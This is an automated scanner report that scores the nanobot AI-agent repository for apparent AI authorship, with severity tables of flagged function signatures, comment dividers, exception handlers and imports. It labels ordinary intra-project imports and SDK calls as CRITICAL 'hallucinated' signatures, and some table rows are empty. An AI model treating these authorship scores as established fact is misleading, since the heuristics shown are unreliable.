Lightweight, open-source AI agent for your tools, chats, and workflows.
This report presents the forensic synthetic code analysis of HKUDS/nanobot, a Python project with 45,486 GitHub stars. SynthScan v2.0 examined 285,032 lines of code across 762 source files, recording 7330 pattern matches distributed across 20 syntactic categories. The overall adjusted score of 35.5 places this repository in the Strong AI signal band.
The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).
This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.
Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.
This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.
The scanner identified 7330 distinct pattern matches across 20 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/process_runtime.py | 419 | def _windows_process_identity(pid: int) -> str | None: | CODE |
| LOW⚡ | nanobot/optional_features.py | 64 | def optional_dependency_groups_from_metadata() -> dict[str, list[str] | None]: | CODE |
| LOW⚡ | nanobot/optional_features.py | 88 | def optional_dependency_groups() -> dict[str, list[str] | None]: | CODE |
| LOW | nanobot/optional_features.py | 105 | def _install_requirements_for_extra(extra: str, deps: list[str]) -> list[str]: | CODE |
| LOW | nanobot/optional_features.py | 156 | def _extra_dependencies_installed( | CODE |
| LOW | nanobot/optional_features.py | 294 | def enable_feishu_instance_config( | CODE |
| LOW | nanobot/optional_features.py | 320 | def disable_feishu_instance_config( | CODE |
| LOW | nanobot/optional_features.py | 373 | def _channel_has_required_setup(section: Any, name: str) -> bool: | CODE |
| LOW | nanobot/optional_features.py | 378 | def _local_login_state_present(section: Any, name: str) -> bool: | CODE |
| LOW | nanobot/optional_features.py | 410 | def _feishu_instance_display_name(config: dict[str, Any]) -> str: | CODE |
| LOW | nanobot/optional_features.py | 440 | def optional_features_payload( | CODE |
| LOW | nanobot/optional_features.py | 600 | def _feature_requires_restart(name: str, *, is_channel: bool) -> bool: | CODE |
| LOW | nanobot/runtime_context.py | 35 | def wrap_runtime_context_lines(lines: Iterable[str]) -> str: | CODE |
| LOW | nanobot/runtime_context.py | 43 | def normalize_runtime_context_blocks(result: RuntimeContextResult) -> list[RuntimeContextBlock]: | CODE |
| LOW | nanobot/config/schema.py | 314 | def wildcard_host_requires_auth(self) -> "ApiConfig": | CODE |
| LOW | nanobot/config/schema.py | 602 | def _resolve_tool_config_refs() -> None: | CODE |
| LOW | nanobot/security/workspace_access.py | 248 | def validate_workspace_scope_payload( | CODE |
| LOW | nanobot/security/workspace_access.py | 288 | def workspace_scope_from_metadata( | CODE |
| LOW | nanobot/security/workspace_access.py | 317 | def resolve_effective_workspace_scope( | CODE |
| LOW | nanobot/security/workspace_access.py | 378 | def current_scope_allows_loopback(*, enabled: bool) -> bool: | CODE |
| LOW | nanobot/security/network.py | 300 | def _is_allowed_loopback_target( | CODE |
| LOW | nanobot/triggers/local_store.py | 211 | def recover_processing_deliveries(self) -> int: | CODE |
| LOW | nanobot/triggers/local_store.py | 282 | def write_delivery_run_record( | CODE |
| LOW | nanobot/triggers/local_store.py | 344 | def _move_bad_delivery_unlocked(self, path: Path) -> None: | CODE |
| LOW | nanobot/triggers/local_store.py | 366 | def _delete_delivery_files_for_trigger_unlocked(self, trigger_id: str) -> None: | CODE |
| LOW | nanobot/triggers/local_store.py | 384 | def _delivery_file_trigger_id(path: Path) -> str | None: | CODE |
| LOW | nanobot/triggers/local_runner.py | 164 | def _write_delivery_run_record( | CODE |
| LOW | nanobot/triggers/local_session_turns.py | 16 | def _local_trigger_history_text(trigger: Mapping[str, Any]) -> str: | CODE |
| LOW | nanobot/triggers/local_session_turns.py | 47 | def local_trigger_delivery_id(metadata: Mapping[str, Any] | None) -> str | None: | CODE |
| LOW | nanobot/triggers/local_session_turns.py | 55 | def local_trigger_history_overrides( | CODE |
| LOW | nanobot/triggers/local_turns.py | 37 | def pending_trigger_ids_for_session(self, session_key: str) -> set[str]: | CODE |
| LOW | nanobot/triggers/local_turns.py | 42 | def _should_defer_local_trigger_turn( | CODE |
| LOW⚡ | nanobot/providers/image_generation.py | 141 | def register_image_gen_provider(cls: type[ImageGenerationProvider]) -> None: | CODE |
| LOW⚡ | nanobot/providers/image_generation.py | 162 | def image_gen_provider_configs(config: Any) -> dict[str, Any]: | CODE |
| LOW⚡ | nanobot/providers/image_generation.py | 1475 | def _collect_text_from_sse_event(event: dict[str, Any], text_parts: list[str]) -> None: | CODE |
| LOW | nanobot/providers/image_generation.py | 75 | def image_path_to_inline_data(path: str | Path) -> dict[str, str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 493 | def _ollama_images_from_payload(payload: dict[str, Any]) -> list[str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 740 | async def _aihubmix_images_from_payload( | CODE |
| LOW | nanobot/providers/image_generation.py | 890 | def _minimax_images_from_payload(payload: dict[str, Any]) -> list[str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 1325 | def _openai_multipart_form_body(body: dict[str, Any]) -> dict[str, str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 1342 | def _openai_is_gpt_image_model(model: str) -> bool: | CODE |
| LOW | nanobot/providers/image_generation.py | 1358 | def _normalize_openai_image_size(image_size: str | None) -> str | None: | CODE |
| LOW | nanobot/providers/image_generation.py | 1365 | def _openai_explicit_size_supported( | CODE |
| LOW | nanobot/providers/image_generation.py | 1376 | async def _openai_images_from_payload( | CODE |
| LOW | nanobot/providers/image_generation.py | 1454 | def _collect_images_from_sse_event(event: dict[str, Any], images: list[str]) -> None: | CODE |
| LOW | nanobot/providers/image_generation.py | 1590 | def _stepfun_images_from_payload(payload: dict[str, Any]) -> list[str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 1729 | async def _zhipu_images_from_payload( | CODE |
| LOW | nanobot/providers/transcription.py | 45 | def _resolve_transcription_url(api_base: str | None, default_url: str) -> str: | CODE |
| LOW | nanobot/providers/transcription.py | 61 | def _resolve_chat_completions_url(api_base: str | None, default_url: str) -> str: | CODE |
| LOW | nanobot/providers/transcription.py | 197 | async def _post_transcription_with_retry( | CODE |
| LOW | nanobot/providers/transcription.py | 235 | async def _post_json_transcription_with_retry( | CODE |
| LOW | nanobot/providers/transcription.py | 270 | async def _post_xiaomi_mimo_asr_with_retry( | CODE |
| LOW | nanobot/providers/transcription.py | 318 | async def _post_stepfun_asr_with_retry( | CODE |
| LOW | nanobot/providers/transcription.py | 510 | def _text_from_transcription_payload(payload: dict[str, Any]) -> str: | CODE |
| LOW | nanobot/providers/transcription.py | 523 | def _assemblyai_speech_models(model: str | None) -> list[str]: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 105 | def _uses_adaptive_thinking_only(cls, model: str) -> bool: | CODE |
| LOW⚡ | nanobot/providers/openai_compat_provider.py | 580 | def _should_normalize_tool_call_ids(self) -> bool: | CODE |
| LOW⚡ | nanobot/providers/openai_compat_provider.py | 585 | def _coerce_content_to_string(content: Any) -> str | None: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 111 | def _requires_max_completion_tokens(model_name: str) -> bool: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 138 | def _gateway_reasoning_extra_body(style: str, effort: str | None) -> dict[str, Any] | None: | CODE |
| 5184 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | nanobot/providers/image_generation.py | 134 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 136 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 171 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 173 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 1482 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 1484 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 905 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 907 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1193 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1195 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1605 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1607 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1748 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1750 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/registry.py | 130 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/registry.py | 132 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/registry.py | 686 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/registry.py | 688 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 688 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 690 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1009 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1011 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1513 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1515 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 130 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 132 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 192 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 194 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | nanobot/providers/anthropic_provider.py | 660 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | nanobot/providers/anthropic_provider.py | 662 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 151 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 153 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 441 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 443 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 483 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 485 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 521 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 523 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 592 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 594 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/utils/document.py | 379 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/utils/document.py | 381 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/utils/searchusage.py | 89 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/utils/searchusage.py | 91 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/memory.py | 676 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | nanobot/agent/memory.py | 678 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/agent/memory.py | 36 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/memory.py | 38 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/memory.py | 728 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/memory.py | 730 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/tools/filesystem.py | 492 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/tools/filesystem.py | 494 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 160 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 162 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 446 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 448 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 1009 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 1011 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/self.py | 198 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/agent/tools/self.py | 200 | # ------------------------------------------------------------------ | COMMENT |
| 631 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| CRITICAL | nanobot/pairing/store.py | 21 | from nanobot.utils.helpers import _write_text_atomic | CODE |
| CRITICAL | nanobot/config/paths.py | 7 | from nanobot.utils.helpers import ensure_dir | CODE |
| CRITICAL | nanobot/triggers/local_store.py | 19 | from nanobot.utils.helpers import truncate_text | CODE |
| CRITICAL | nanobot/providers/image_generation.py | 18 | from nanobot.utils.helpers import detect_image_mime | CODE |
| CRITICAL | nanobot/utils/media_decode.py | 16 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/utils/__init__.py | 9 | from nanobot.utils.helpers import ensure_dir | CODE |
| CRITICAL | nanobot/utils/runtime.py | 11 | from nanobot.utils.helpers import stringify_text_blocks | CODE |
| CRITICAL | nanobot/utils/document.py | 10 | from nanobot.utils.helpers import detect_image_mime | CODE |
| CRITICAL | nanobot/utils/artifacts.py | 15 | from nanobot.utils.helpers import detect_image_mime, ensure_dir | CODE |
| CRITICAL | nanobot/agent/progress_hook.py | 12 | from nanobot.utils.helpers import IncrementalThinkExtractor, strip_think | CODE |
| CRITICAL | nanobot/agent/loop.py | 84 | from nanobot.utils.helpers import image_placeholder_text | CODE |
| CRITICAL | nanobot/agent/loop.py | 85 | from nanobot.utils.helpers import truncate_text as truncate_text_fn | CODE |
| CRITICAL | nanobot/agent/tools/image_generation.py | 31 | from nanobot.utils.helpers import detect_image_mime | CODE |
| CRITICAL | nanobot/agent/tools/web.py | 25 | from nanobot.utils.helpers import build_image_content_blocks | CODE |
| CRITICAL | nanobot/agent/tools/filesystem.py | 21 | from nanobot.utils.helpers import build_image_content_blocks, detect_image_mime | CODE |
| CRITICAL | nanobot/agent/tools/message.py | 175 | from nanobot.utils.helpers import strip_think | CODE |
| CRITICAL | nanobot/cli/commands.py | 81 | from nanobot.utils.helpers import sync_workspace_templates # noqa: E402 | CODE |
| CRITICAL | nanobot/api/server.py | 21 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/webui/mcp_presets_api.py | 24 | from nanobot.utils.helpers import ensure_dir | CODE |
| CRITICAL | nanobot/webui/media_api.py | 21 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/command/builtin.py | 18 | from nanobot.utils.helpers import build_status_content | CODE |
| CRITICAL | nanobot/channels/matrix.py | 60 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/channels/signal.py | 27 | from nanobot.utils.helpers import safe_filename, split_message | CODE |
| CRITICAL | nanobot/channels/telegram.py | 36 | from nanobot.utils.helpers import split_message | CODE |
| CRITICAL | nanobot/channels/discord.py | 22 | from nanobot.utils.helpers import safe_filename, split_message | CODE |
| CRITICAL | nanobot/channels/mattermost.py | 20 | from nanobot.utils.helpers import safe_filename, split_message | CODE |
| CRITICAL | nanobot/channels/email.py | 31 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/channels/feishu.py | 41 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/channels/feishu.py | 1200 | response = self._client.im.v1.message_reaction.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu.py | 1241 | response = self._client.im.v1.message_reaction.delete(request) | CODE |
| CRITICAL | nanobot/channels/feishu.py | 1578 | response = self._client.im.v1.image.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu.py | 1612 | response = self._client.im.v1.file.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu.py | 1640 | response = self._client.im.v1.message_resource.get(request) | CODE |
| CRITICAL | nanobot/channels/feishu.py | 1675 | response = self._client.im.v1.message_resource.get(request) | CODE |
| CRITICAL | nanobot/channels/feishu.py | 1779 | response = self._client.im.v1.message.get(request) | CODE |
| CRITICAL | nanobot/channels/feishu.py | 1836 | response = self._client.im.v1.message.reply(request) | CODE |
| CRITICAL | nanobot/channels/feishu.py | 1968 | response = self._client.im.v1.message.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu.py | 2026 | response = self._client.cardkit.v1.card.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu.py | 2076 | response = self._client.cardkit.v1.card_element.content(request) | CODE |
| CRITICAL | nanobot/channels/feishu.py | 2108 | response = self._client.cardkit.v1.card.settings(request) | CODE |
| CRITICAL | nanobot/channels/napcat.py | 28 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL⚡ | nanobot/channels/weixin.py | 37 | from nanobot.utils.helpers import split_message | CODE |
| CRITICAL | nanobot/channels/slack.py | 23 | from nanobot.utils.helpers import safe_filename, split_message | CODE |
| CRITICAL | nanobot/session/webui_turns.py | 38 | from nanobot.utils.helpers import strip_think, truncate_text | CODE |
| CRITICAL | tests/test_build_status.py | 3 | from nanobot.utils.helpers import build_status_content | CODE |
| CRITICAL⚡ | tests/providers/test_reasoning_content.py | 11 | from nanobot.utils.helpers import build_assistant_message | CODE |
| CRITICAL | tests/utils/test_token_estimation.py | 4 | from nanobot.utils.helpers import estimate_prompt_tokens, estimate_prompt_tokens_chain | CODE |
| CRITICAL⚡ | tests/utils/test_searchusage.py | 13 | from nanobot.utils.helpers import build_status_content | CODE |
| CRITICAL⚡ | tests/utils/test_helpers.py | 6 | from nanobot.utils.helpers import _write_text_atomic, split_message, truncate_text_to_tokens | CODE |
| CRITICAL | tests/agent/test_context_prompt_cache.py | 218 | from nanobot.utils.helpers import sync_workspace_templates | CODE |
| CRITICAL | tests/agent/test_context_prompt_cache.py | 356 | from nanobot.utils.helpers import sync_workspace_templates | CODE |
| CRITICAL | tests/agent/test_context_prompt_cache.py | 373 | from nanobot.utils.helpers import sync_workspace_templates | CODE |
| CRITICAL | tests/agent/test_session_collision.py | 8 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | tests/agent/test_runner_persistence.py | 57 | from nanobot.utils.helpers import maybe_persist_tool_result | CODE |
| CRITICAL | tests/agent/test_runner_persistence.py | 86 | from nanobot.utils.helpers import maybe_persist_tool_result | CODE |
| CRITICAL | tests/agent/test_runner_persistence.py | 102 | from nanobot.utils.helpers import maybe_persist_tool_result | CODE |
| CRITICAL⚡ | tests/agent/test_onboard_logic.py | 26 | from nanobot.utils.helpers import sync_workspace_templates | CODE |
| CRITICAL⚡ | tests/cli/test_commands.py | 1605 | from nanobot.utils.helpers import load_bundled_template | CODE |
| CRITICAL⚡ | tests/channels/test_mattermost_channel.py | 985 | from nanobot.utils.helpers import split_message | CODE |
| CRITICAL⚡ | tests/channels/test_telegram_channel.py | 732 | edit_text = channel._app.bot.edit_message_text.call_args.kwargs.get("text", "") | CODE |
| 71 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/nanobot.py | 251 | except Exception as exc: | CODE |
| MEDIUM | nanobot/optional_features.py | 64 | def optional_dependency_groups_from_metadata() -> dict[str, list[str] | None]: | CODE |
| LOW⚡ | nanobot/optional_features.py | 60 | except Exception: | CODE |
| LOW⚡ | nanobot/optional_features.py | 67 | except Exception: | CODE |
| LOW⚡ | nanobot/optional_features.py | 76 | except Exception: | CODE |
| LOW⚡ | nanobot/optional_features.py | 84 | except Exception: | CODE |
| LOW | nanobot/optional_features.py | 110 | except Exception: | CODE |
| LOW | nanobot/optional_features.py | 173 | except Exception: | CODE |
| LOW | nanobot/optional_features.py | 576 | except Exception as exc: | CODE |
| LOW | nanobot/security/network.py | 89 | except Exception as e: | CODE |
| LOW | nanobot/security/network.py | 132 | except Exception: | CODE |
| LOW | nanobot/security/network.py | 198 | except Exception: | CODE |
| LOW | nanobot/security/network.py | 262 | except Exception: | CODE |
| LOW | nanobot/triggers/local_store.py | 203 | except Exception: | CODE |
| LOW | nanobot/triggers/local_store.py | 223 | except Exception: | CODE |
| LOW | nanobot/triggers/local_store.py | 319 | except Exception as exc: | CODE |
| LOW | nanobot/triggers/local_store.py | 387 | except Exception: | CODE |
| LOW | nanobot/triggers/local_runner.py | 101 | except Exception as exc: | CODE |
| LOW | nanobot/triggers/local_runner.py | 181 | except Exception: | CODE |
| LOW | nanobot/providers/image_generation.py | 446 | except Exception: | CODE |
| LOW | nanobot/providers/image_generation.py | 1237 | except Exception as exc: | CODE |
| LOW | nanobot/providers/image_generation.py | 1426 | except Exception: | CODE |
| LOW | nanobot/providers/image_generation.py | 1445 | except Exception: | CODE |
| LOW | nanobot/providers/transcription.py | 146 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 173 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 179 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 459 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 486 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 492 | except Exception as e: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 121 | except Exception: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 209 | except Exception: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 688 | except Exception as e: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 751 | except Exception as e: | CODE |
| LOW⚡ | nanobot/providers/openai_compat_provider.py | 594 | except Exception: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 190 | except Exception: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 370 | except Exception: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1445 | except Exception: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1538 | except Exception as responses_error: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1555 | except Exception as e: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1613 | except Exception as responses_error: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1703 | except Exception as e: | CODE |
| LOW | nanobot/providers/azure_openai_provider.py | 75 | except Exception: | CODE |
| LOW | nanobot/providers/azure_openai_provider.py | 213 | except Exception as e: | CODE |
| LOW | nanobot/providers/azure_openai_provider.py | 248 | except Exception as e: | CODE |
| LOW | nanobot/providers/openai_codex_provider.py | 90 | except Exception as e: | CODE |
| LOW | nanobot/providers/openai_codex_provider.py | 108 | except Exception as e: | CODE |
| LOW | nanobot/providers/fallback_provider.py | 239 | except Exception as exc: | CODE |
| LOW | nanobot/providers/anthropic_provider.py | 103 | except Exception: | CODE |
| LOW | nanobot/providers/anthropic_provider.py | 688 | except Exception as e: | CODE |
| LOW | nanobot/providers/anthropic_provider.py | 797 | except Exception as e: | CODE |
| LOW⚡ | nanobot/providers/base.py | 136 | except Exception: | CODE |
| LOW⚡ | nanobot/providers/base.py | 139 | except Exception: | CODE |
| LOW | nanobot/providers/base.py | 111 | except Exception: | CODE |
| LOW | nanobot/providers/base.py | 460 | except Exception: | CODE |
| LOW | nanobot/providers/base.py | 619 | except Exception as exc: | CODE |
| LOW | nanobot/providers/base.py | 663 | except Exception as exc: | CODE |
| LOW | nanobot/providers/base.py | 826 | except Exception: | CODE |
| LOW | nanobot/providers/openai_responses/parsing.py | 81 | except Exception: | CODE |
| LOW | nanobot/bus/runtime_events.py | 124 | except Exception: | CODE |
| LOW | nanobot/utils/gitstore.py | 120 | except Exception: | CODE |
| 412 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | hatch_build.py | 21 | CODE | |
| LOW | nanobot/nanobot.py | 3 | CODE | |
| LOW | nanobot/nanobot.py | 21 | CODE | |
| LOW | nanobot/nanobot.py | 21 | CODE | |
| LOW | nanobot/nanobot.py | 21 | CODE | |
| LOW | nanobot/nanobot.py | 21 | CODE | |
| LOW | nanobot/nanobot.py | 21 | CODE | |
| LOW | nanobot/nanobot.py | 21 | CODE | |
| LOW | nanobot/nanobot.py | 21 | CODE | |
| LOW | nanobot/nanobot.py | 21 | CODE | |
| LOW | nanobot/nanobot.py | 21 | CODE | |
| LOW | nanobot/nanobot.py | 21 | CODE | |
| LOW | nanobot/nanobot.py | 21 | CODE | |
| LOW | nanobot/process_runtime.py | 3 | CODE | |
| LOW | nanobot/optional_features.py | 2 | CODE | |
| LOW | nanobot/runtime_context.py | 3 | CODE | |
| LOW | nanobot/pairing/store.py | 8 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/config/paths.py | 3 | CODE | |
| LOW | nanobot/config/__init__.py | 3 | CODE | |
| LOW | nanobot/config/__init__.py | 3 | CODE | |
| LOW | nanobot/config/__init__.py | 4 | CODE | |
| LOW | nanobot/config/__init__.py | 4 | CODE | |
| LOW | nanobot/config/__init__.py | 4 | CODE | |
| LOW | nanobot/config/__init__.py | 4 | CODE | |
| LOW | nanobot/config/__init__.py | 4 | CODE | |
| LOW | nanobot/config/__init__.py | 4 | CODE | |
| LOW | nanobot/config/__init__.py | 4 | CODE | |
| LOW | nanobot/config/__init__.py | 4 | CODE | |
| LOW | nanobot/config/__init__.py | 4 | CODE | |
| LOW | nanobot/config/__init__.py | 4 | CODE | |
| LOW | nanobot/config/__init__.py | 16 | CODE | |
| LOW | nanobot/config/schema.py | 2 | CODE | |
| LOW | nanobot/security/workspace_access.py | 3 | CODE | |
| LOW | nanobot/security/workspace_policy.py | 7 | CODE | |
| LOW | nanobot/security/network.py | 3 | CODE | |
| LOW | nanobot/triggers/local_types.py | 3 | CODE | |
| LOW | nanobot/triggers/local_store.py | 3 | CODE | |
| LOW | nanobot/triggers/__init__.py | 3 | CODE | |
| LOW | nanobot/triggers/__init__.py | 3 | CODE | |
| LOW | nanobot/triggers/__init__.py | 3 | CODE | |
| LOW | nanobot/triggers/__init__.py | 3 | CODE | |
| LOW | nanobot/triggers/__init__.py | 9 | CODE | |
| LOW | nanobot/triggers/__init__.py | 9 | CODE | |
| LOW | nanobot/triggers/__init__.py | 9 | CODE | |
| LOW | nanobot/triggers/local_runner.py | 3 | CODE | |
| LOW | nanobot/triggers/local_session_turns.py | 3 | CODE | |
| LOW | nanobot/triggers/local_turns.py | 3 | CODE | |
